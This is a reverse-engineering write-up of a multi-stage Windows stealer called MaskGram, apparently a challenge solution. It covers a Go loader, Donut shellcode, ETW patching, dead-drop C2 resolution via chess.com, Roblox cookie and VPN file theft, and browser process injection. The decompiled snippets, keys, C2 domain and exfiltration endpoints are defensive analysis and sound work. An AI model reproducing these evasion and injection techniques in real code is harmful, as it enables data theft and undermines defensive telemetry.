Maskgram-Malops
Initial Analysis
As I get the file i check its file type , It turns out to be a PE32 which is standard windows executable

Then I check for any sort of packing using DIE , which didn’t show any signs of a packed binary. It also revealed that it was written in Go.

STAGE 1
Go2Bypass
Right from the start we could see that this binary used the Go2Bypass framework. The main function calls the main_allocate_heap_memoryfirst and then moves on to the Public_ExecuteShellcodeViaSyscall to begin the shellcode loading process.

In the Public_ExecuteShellcodeViaSyscall I could see that it loaded a hash and then called a hash_callback to resolve it which turned out to be SHA1 using which it called Gabh_GetSyscallIDFromMemory which would resolve the syscall. This hash corresponds to NtDelayExecution.
// Go2bypass/Public.Peels
void __golang __noreturn Public_ExecuteShellcodeViaSyscall(__int64 unused_rax,__int64 unused_rbx,__int64 unused_rcx,char *p_n76,__int64 (__golang *p_n76_1)(__int64),int unused_r8,int unused_r9,int unused_r10,int unused_r11)
{ __int64 saved_frame_ptr; // rbp
__int64 *unused_ecx; // rcx
int unused_r8d; // r8d
int unused_r9d; // r9d
int unused_r10d; // r10d
int unused_r11d; // r11d
RTYPE *p_RTYPE__ptr_runtime_PanicNilError; // [rsp-38h] [rbp-98h]
__int64 *v16; // [rsp-30h] [rbp-90h]
__int64 saved_frame_ptr_1; // [rsp+58h] [rbp-8h]
saved_frame_ptr_1 = saved_frame_ptr;
Gabh_GetSyscallIDFromMemory("84804f99e2c7ab8aee611d256a085cf4879c4be8",
0x28,
&hash_callback,
p_n76,
p_n76_1,
unused_r8,
unused_r9,
unused_r10,
unused_r11);
runtime_gopanic(MEMORY[0x30], unused_ecx, unused_ecx, p_n76, p_n76_1, unused_r8d, unused_r9d, unused_r10d, unused_r11d, p_RTYPE__ptr_runtime_PanicNilError, v16);
}
AES Decryption
While going through Go2Bypass functions we can see Public_DecryptShellcodeFromBase64 which is a decryptor for some code. By tracing it i could find that in the main function it was loading a key and using it to decrypt the ENCRYPTED part. at 0x14011B71F and 0x1401263C0 respectively.
So by going through the Public_DecryptShellcodeFromBase64 it does the following.
Base64 Decode
- Using
encoding/base64.StdEncoding.DecodeString() - Input: Base64-encoded ciphertext
- Using
AES-CFB Decrypt
- Calls
Endecrypt_AESDecryptCFB - Mode: CFB (Cipher Feedback)
- IV: First 16 bytes of ciphertext
- Calls
Execution Flow
After the code gets decrypted the malware executes it using Hell’s Gate syscall.
The control flow of the STAGES as described in the following diagram.

Call Flow
Public_ExecuteShellcodeViaSyscall (0x1400d20c0)
│
├── Gabh_GetSyscallIDFromMemory (0x1400cf7a0)
│ │
│ ├── Gabh_FindLoadedModule (0x1400cf600)
│ │ └── Gabh_WalkPEBModuleList (0x1400d0760)
│ │
│ └── Gabh_ParseExportTable (0x1400cf360)
│
├── Gabh_InvokeSyscall (0x1400d04e0)
│ └── Gabh_DirectSyscall (0x1400d05e0)
│
└── EggReplace_FindAndWriteShellcode (0x1400d0820)
STAGE 2
Donut Loader
Now We know that the real payload is inside whatever AES decrypted i extract the file as stage2.bin.
I again run this new file under DIE which shows it as a donut shellcode.
This clears our suspicion as The first 5 bytes of a default Donut shellcode payload consist of a relative jump instruction i.e. E8 ....
~/rev/Malops/challenges/MaskGram> xxd stage2.bin| head
00000000: e8c0 f101 00c0 f101 0044 2014 9555 f9b5 .........D ..U..
00000010: 2f57 da1b 9a69 5645 51fc d712 0011 89c5 /W...iVEQ.......
00000020: 8441 e696 d488 9ae3 5600 0000 0048 2067 .A......V....H g
00000030: 363f 99df e718 1b57 7f1e b567 3fec 9102 6?.....W...g?...
So i use a GitHub tool donut-decryptor you can install it using GitHub or just pip install donut-decryptor and then extracted 2 files.
~/rev/Malops/challenges/MaskGram> donut-decryptor stage2.bin
2026-08-05 12:50:28,524 - donut_decryptor.decryptor - INFO - Parsing donut from file: stage2.bin
2026-08-05 12:50:28,524 - donut_decryptor.decryptor - INFO - Using 1.0_64, and instance version: 1.0
2026-08-05 12:50:28,524 - donut_decryptor.decryptor - INFO - Locating instance in file: stage2.bin
2026-08-05 12:50:28,527 - donut_decryptor.decryptor - INFO - Found instance at: 0x5
2026-08-05 12:50:28,852 - donut_decryptor.decryptor - INFO - Writing module to: /home/blackdemon112/rev/Malops/challenges/MaskGram/mod_stage2.bin
2026-08-05 12:50:28,854 - donut_decryptor.decryptor - INFO - Writing instance metadata to: /home/blackdemon112/rev/Malops/challenges/MaskGram/inst_stage2.bin
2026-08-05 12:50:28,854 - donut_decryptor.cli - INFO - Parsed: 1 of 1 attempted files
During this extraction it uses
0x00000000 – 0x00000003 (e8c0 f101): Shellcode Bootstrap Jump.
0x00000004 – 0x00000007 (00c0 f101): Instance Size. Interpreted in Little-Endian format, this equals 0x01F1C000 bytes.
0x00000008 – 0x00000017 (0044 2014 9555 f9b5 2f57 da1b 9a69 5645): Master Key (mk). The 16-byte symmetric key used for the Chaskey block cipher decryption loop.
0x00000018 – 0x00000027 (51fc d712 0011 89c5 8441 e696 d488 9ae3): Counter / Nonce (ctr). The 16-byte block initialization vector.
{
"File": "stage2.bin",
"Master Key": "4420149555f9b52f57da1b9a69564551",
"Nonce": "fcd712001189c58441e696d4889ae356",
"Hash IV": "0xe7df993f36672048",
"Signature": "4FTTWNC4",
"MAC": "0x90fd0934cf584563",
"Instance Type": "DONUT_INSTANCE_EMBED",
"Entropy Type": "DONUT_ENTROPY_DEFAULT",
"Decoy Module": "",
"Module Type": "DONUT_MODULE_DLL",
"Compression Type": "DONUT_COMPRESS_NONE"
}
The file Shows that it is a DONUT_EMBED and we continue by opening the mod_stage2.bin in ida to see the decrypted functions.
STAGE 3
ETW
So Finally we are in the stage3 file which is free from high level obfuscation.
The very first thing start() does, before any C2 communication or data theft, is silence Windows telemetry. The malware needs ETW blind so it does not log what follows.
At the top of start(), we see:
if ( !byte_4255E0 )
xor_decrypt_string(&unk_41BDE8, &byte_4255E0, 9);
qword_4255F0 = find_loaded_module_base_by_name(); // 0x418742
The function find_loaded_module_base_by_name() walks the PEB (Process Environment Block) → Ldr → InLoadOrderModuleList to find the base address of ntdll.dll already loaded in memory. No LoadLibrary call needed.
Then find_export_by_name_hash Resolve EtwEventWrite using hash 0x24A8D022 and the function sub_40275A patch EtwEventWrite with a RET instruction (0xC3)
v0 = find_export_by_name_hash(qword_4255F0, 615043106);
sub_40275A(-1, v0, 1, 64, CommandLine); // NtProtectVirtualMemory → PAGE_EXECUTE_READWRITE
*v0 = 0xC3; // Write RET opcode
sub_40275A(-1, v0, 1, old_protect, ...); // Restore original protection
And immediately after v1 Resolves EtwEventWriteFull using hash 0xEF2073B5
v1 = find_export_by_name_hash(qword_4255F0, 4011881397);
// Same patch — overwrite first byte with 0xC3 (RET)
*v1 = 0xC3;
The function find_export_by_name_hash() walks the PE export directory of ntdll, computes a hash for each export name, and returns the address when it matches the precomputed constant. The two constants:
| Precomputed Hash | Resolved API |
|---|---|
0x24A8D022 | EtwEventWrite |
0xEF2073B5 | EtwEventWriteFull |
String Decrypt
Almost every string in this binary is stored encrypted in the .rdata section. The decryption function xor_decrypt_string() is called 642 times throughout the binary, making it the most frequently invoked function by far.
Here’s the decompiled decryption engine:
char xor_decrypt_string(__int64 encrypted_data, __int64 output_buffer, int length)
{
int i = 0;
// The XOR key is stored as a local variable on the stack:
int key_part1 = 376164025; // 0x166BCE B9 → bytes: B9 CE 6B 16
short key_part2 = 18455; // 0x4817 → bytes: 17 48
char key_part3 = 95; // 0x5F → byte: 5F
do {
output_buffer[i] = encrypted_data[i] ^ key_bytes[i % 7];
i++;
} while (length > i);
output_buffer[length] = 0; // null terminate
}
LCG/PRNG
After ETW patching and PRNG initialization, the malware needs random-looking URL paths for C2 communication. “Random” here means deterministic: a Linear Congruential Generator (LCG) seeded with a hardcoded value.
The prng_init() function works like this:

The initial seed n1262572634 appears in the decompilation which is a renamed variable that takes the value from 0x41A010.The value 0x2EECC9FE is the PRNG state after generating path1, which is the seed value that begins generating the second path component that happens after 11 iterations.
The LCG formula is the classic glibc-style: seed = (seed * 1103515245 + 12345) & 0x7FFFFFFF
The generated paths are stored at unk_425220 as 24 pre-computed path segments. The function prng_generate_path(index) simply selects one by index and converts it to a wide string:
char *prng_generate_path(unsigned int index) {
sub_404351(index); // Get pre-generated path at slot 'index'
generate_timestamped_subkey(result, SubKey_0); // Append timestamp
return SubKey_0;
}
For example the URL structure ends up being: https://c2-host/path1/path2 where each path component is deterministically generated from the PRNG.
Next the malware needs to find its C2 server without hardcoding a domain that could be blocked. It does this using dead drops on legitimate platforms, a technique called Dead Drop Resolver (DDR).
Retrieving C2 IP
The main orchestrator is c2_extraction_main() at 0x403688. Here’s what happens:
Step 1: Decrypt the Platform URLs
At the top of the function, 8 encrypted blobs are decrypted:
xor_decrypt_string(&unk_41BA40, v124, 35); // RC4 decryption key
xor_decrypt_string(&unk_41BA18, MultiByteStr, 13); // URL 1 (host)
xor_decrypt_string(&unk_41BA08, lpMultiByteStr, 13); // URL 1 (path)
xor_decrypt_string(&unk_41B9F0, lpMultiByteStr_1, 18); // URL 2 (host)
xor_decrypt_string(&unk_41B9D0, lpMultiByteStr_2, 28); // URL 2 (path)
xor_decrypt_string(&unk_41B9C0, lpMultiByteStr_3, 16); // URL 3 (host) ← chess.com
xor_decrypt_string(&unk_41B9A0, lpMultiByteStr_4, 32); // URL 3 (path)
xor_decrypt_string(&unk_41B984, lpMultiByteStr_5, 4); // URL 4 (protocol)
xor_decrypt_string(&unk_41B970, lpMultiByteStr_6, 20); // URL 4 (host)
These decrypt to URLs on multiple legitimate platforms:
- Steam
https://steamcommunity.com/ - Spotify playlist →
open.spotify.com/playlist/5iEHEaD1j6Xqou5h2SrnfW - Chess.com
https://chess.com/
Step 2: The User-Agent
Every HTTP request uses the same User-Agent, resolved by get_user_agent() at 0x401620
Decrypting with key B9 CE 6B 16 17 48 5F yields: gvfs/1.57.2
This is the GVFS (GNOME Virtual File System) user agent, which blends in with Linux desktop traffic and raises no flags in most network monitoring tools.
Step 3: Download & Decrypt the C2 Domain
The function tries each platform URL in sequence via download_url_to_memory() at 0x415DE3. When it downloads the chess.com page, it:
- Searches for a specific HTML marker (decoded from
unk_41B908, likely a<div>or<meta>tag) - Extracts a Base64-encoded, RC4-encrypted blob from the page
- Feeds it to
base64_decrypt_rc4()at0x416053:
base64_decrypt_rc4(extracted_data, v124_key, output_buffer);
Where v124 is the 35-byte key decrypted earlier from unk_41BA40. The base64_decrypt_rc4() at 0x416053 function:
- Base64-decodes the input
- Initializes an RC4 key schedule using
rc4_init_key_schedule()at0x404B1A
The result is pushokfrech-871.icu: the actual C2 domain, retrieved from a chess.com profile.
C2 Response Check
Once the C2 domain is extracted, check_c2_response_marker() at 0x415C01 validates it by making a test request:

The PRNG path at index 0x19 (25 decimal) generates /6v0tazc5mboxujs, the first URL the malware requests on the freshly-derived C2 server.
The function reads the HTTP response and searches for a marker string (decrypted from unk_41CE4D, length 2, likely "OK"). If found, the C2 is confirmed alive and ready.
System Data Collection
Back in start(), after successful C2 validation:
if ( sub_4011E8() )
collect_system_info(); // 0x40C002
The massive collect_system_info() at 0x40C002 function (1,691 bytes!) harvests:
- Computer name, username
- Screen resolution (
GetSystemMetrics) - CPU info (
GetSystemInfo) - Timezone (
GetTimeZoneInformation) - Language (
GetUserDefaultLangID) - Running processes (
CreateToolhelp32Snapshot→Process32First/Next) - Installed services (
OpenSCManager→OpenService) - System uptime (
GetTickCount64)
All this is formatted into a text blob and uploaded via upload_system_info() at 0x419767, which:
- Generates a PRNG path at index 22 →
/q7cherolivolejk - Sets the filename to
systems.txt(decrypted from an encrypted blob) - POSTs the data as a multipart form upload
The path q7cherolivolejk is reused as the standard upload endpoint across multiple exfiltration routines.
Roblox
The function roblox_cookie_stealer() at 0x40575F is called unconditionally from start():
roblox_cookie_stealer(); // 0x40B55F
Here’s the logic:
// Get %LOCALAPPDATA% environment variable
lpName = sub_4019B8(); // Returns decrypted "LOCALAPPDATA"
GetEnvironmentVariableA(lpName, Buffer, 0x104);
// Decrypt and append the Roblox path
xor_decrypt_string(&unk_41B300, &byte_4256E0, 38);
// Decrypts to: \Roblox\LocalStorage\robloxcookies.dat
string_concat(FileName, &byte_4256E0);
So the full path becomes:
%LOCALAPPDATA%\Roblox\LocalStorage\robloxcookies.dat
The relative path is \Roblox\LocalStorage\robloxcookies.dat.
The function then:
- Opens the file with
CreateFileA - Reads its contents with
ReadFile - Searches for a cookie token marker (decrypted from
unk_41B328) - Extracts the cookie value
- Base64-decodes it
- Decompresses the result
- Uploads it to C2 via PRNG path at index 24
VPN
The vpn_stealer() at 0x4136D9 function is a server-directed theft module. Here’s how it works:
Step 1: Request Instructions from C2
xor_decrypt_string(&unk_41C220, &byte_4271C0, 15);// Decrypts to the "request VPN instructions"
content_type_header = get_content_type_header();
qword_425200(v45, content_type_header, -1, &byte_4271C0, v5, v5, 0);
Step 2: Parse C2 Response
The response is parsed line-by-line, looking for directive prefixes:
// Each encrypted prefix is decrypted and compared against response lines:
xor_decrypt_string(&unk_41C210, byte_4271A0, 13); // "OPENVPN_FILES:" (13 chars)
xor_decrypt_string(&unk_41C200, byte_427190, 13); // "OPENVPN_SCAN:" (13 chars)
xor_decrypt_string(&unk_41C1F0, &byte_427180, 15);
xor_decrypt_string(&unk_41C1E0, &byte_427168, 14);
The two key directives are:
OPENVPN_FILES:— tells the malware which specific files to stealOPENVPN_SCAN:— tells the malware which directories to scan
When the C2 server returns a response containing these directives, the malware:
- Parses the file paths and scan directories from the response
- Calls
vpn_upload_wrapper()at0x40BCC0to walk directories and upload matching files - Uses
file_scan_upload()at0x409086for the actual upload
Step 3: Upload VPN Files
The upload uses:
- URL path: PRNG index
0x0D(13) →q7cherolivolejk(same upload endpoint) - User-Agent: The VPN upload uses
Client/1.0instead of the standardgvfs/1.57.2
The different User-Agent for VPN exfiltration may let the C2 server distinguish traffic types on its end.
Additional Payload
Back in start():
if ( next_stage_downloader() ) // 0x405C34
process_injection(); // 0x416480
The next_stage_downloader() at 0x405C34 function downloads yet another executable. Here’s the sequence:
// Generate URL path from PRNG
path = prng_generate_path(0x1C); // "/63gp6nslaf0dif0"
v9 = get_cached_wide_string_1(); // "GET"
// Downloads the payload
HeapFree(v4, v9, path, ...);
The response contains 3 fields separated by markers (decrypted from unk_41B1F2, unk_41B1ED, unk_41B1E8 — 6, 5, and 5 bytes respectively):
- Field 1: The RC4 IV/nonce
- Field 2: The encrypted payload (Base64-encoded)
- Field 3: The payload size
xor_decrypt_string(&unk_41B1D0, v41, 24);
// Decrypts to: "sZjZYwbbdqXztNZuQXwxspS2" (24 chars)
// RC4 key = master_key + IV from response
sub_40BEC6(v42, v41, 24);
sub_40BEC6(v43, v40, 16);
rc4_init_key_schedule(v45, v42, 40);
rc4_crypt(v32, v29, v31); // Decrypt the payload
//header Check
if (*v29 == 'M' && v29[1] == 'Z')
{
qword_424E68 = v29;
qword_424E60 = v31;
}
The master key sZjZYwbbdqXztNZuQXwxspS2 is hardcoded (encrypted) in the binary. Combined with a 16-byte IV received from the server, it forms a 40-byte RC4 key. After decryption, the malware checks for the MZ magic bytes (0x4D5A) to confirm it received a valid PE file.
BROWSERS
If the download succeeds, process_injection() at 0x416480 runs. It is the most complex function in the binary.
Step 1: Initialize Target Browser List
xor_decrypt_string(&unk_41B80D, &byte_425100, 6); // "chrome" → "chrome.exe"
xor_decrypt_string(&unk_41D480, &byte_428E20, 26); // Full path to chrome.exe
xor_decrypt_string(&unk_41D49A, &byte_428E40, 5); // "msedge" → "msedge.exe"
xor_decrypt_string(&unk_41D4A0, &byte_428E60, 40); // Full path to msedge.exe
xor_decrypt_string(&unk_41B825, &byte_425110, 4); // "brave" → "brave.exe"
xor_decrypt_string(&unk_41D4D0, &byte_428EA0, 27); // Full path to brave.exe
xor_decrypt_string(&unk_41B8F3, &byte_425120, 6); // "browser" → "browser.exe"
xor_decrypt_string(&unk_41D4F0, &byte_428EC0, 27); // Full path to browser.exe
The 4 targets in alphabetical order:
brave.exe— Brave Browserbrowser.exe— Generic browser processchrome.exe— Google Chromemsedge.exe— Microsoft Edge
Step 2: Find or Launch the Browser
For each browser, the malware:
- Tries to launch it via
CreateProcessAwith theCREATE_NO_WINDOWflag (0x8000000) - If launch fails, finds a running instance via
CreateToolhelp32Snapshot+Process32First/Next
Step 3: Hollow Process Injection
// open the process with FULL access
hThread = sub_416401(0x1FFFFF, th32ProcessID);
// Ensure syscall stubs are ready
if (dword_4255D0 || initialize_syscall_stubs()) {
// Allocate memory via NtAllocateVirtualMemory
qword_4255C8(hThread, &base_addr, 0, &size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
// Write to remote process via NtWriteVirtualMemory
(qword_4255C8 + 32)(hThread, base_addr, local_pe, size, &bytes_written);
// Fix section permissions via NtProtectVirtualMemory
sub_40275A(hThread, section_base, section_size, new_protect, &old_protect);
// Create remote thread at PE entry point
hThread_1 = sub_4026CC(hThread, entry_point, base_addr);
}
The malware searches the injected PE’s exports for a function named DllRun then it uses that as the remote thread entry point instead of the PE’s default entry.
Step 4: The Syscalls
The initialize_syscall_stubs() at 0x402075 function resolves 16 NT syscalls. The two asked about:
v17 = resolve_syscall_number_by_hash(1342423128); // 0x5003C058 → NtOpenProcess
// The hash constants in the function:
resolve_syscall_number_by_hash(-1779193966); // 0x96035A12
resolve_syscall_number_by_hash(1342423128); // 0x5003C058
resolve_syscall_number_by_hash(136929992); // 0x082962C8
Looking at the syscall resolution table:
| Precomputed Hash | Resolved Syscall |
|---|---|
0x082962C8 | NtProtectVirtualMemory |
0x5003C058 | NtOpenProcess |
These are critical for the injection NtOpenProcess to get a handle to the target browser process, and NtProtectVirtualMemory to set executable permissions on the injected code.
Finale
After all stealing, injecting, and exfiltrating is done, start() calls:
if ( sub_4043A1() ) // HTTP APIs is ready
exit_routine(); // 0x40D69D — The final goodbye
The exit_routine() at 0x40D69D sends a final status POST to the C2:
char *exit_routine()
{
if (!byte_4270A0)
xor_decrypt_string(&unk_41CE50, &byte_4270A0, 10);
// Decrypts to "svit=nepco"
int n19 = 1;
while (1) {
// Build HTTP request
user_agent = get_user_agent();
path = prng_generate_path(0x10); // "/ufcx6bc1ef45e7g"
content_type_header = get_content_type_header();
// Send "svit=nepco" as POST body
qword_425200(v12, content_type_header, -1, &byte_4270A0, v1, v1, 0);
qword_4251F8(v12, 0);
xor_decrypt_string(&unk_41CE4D, &byte_427090, 2); // "OK"
v9 = string_find(v17, &byte_427090); // Look for "OK" in response
// checks for maximum 20 attempts
if ((v9 & 1) != 0 || n19 > 19)
break;
++n19;
Sleep(2000); // 2 second delay
}
}
This is the malware’s completion signal to the C2, indicating that data collection is done. The C2 acknowledges with “OK”.
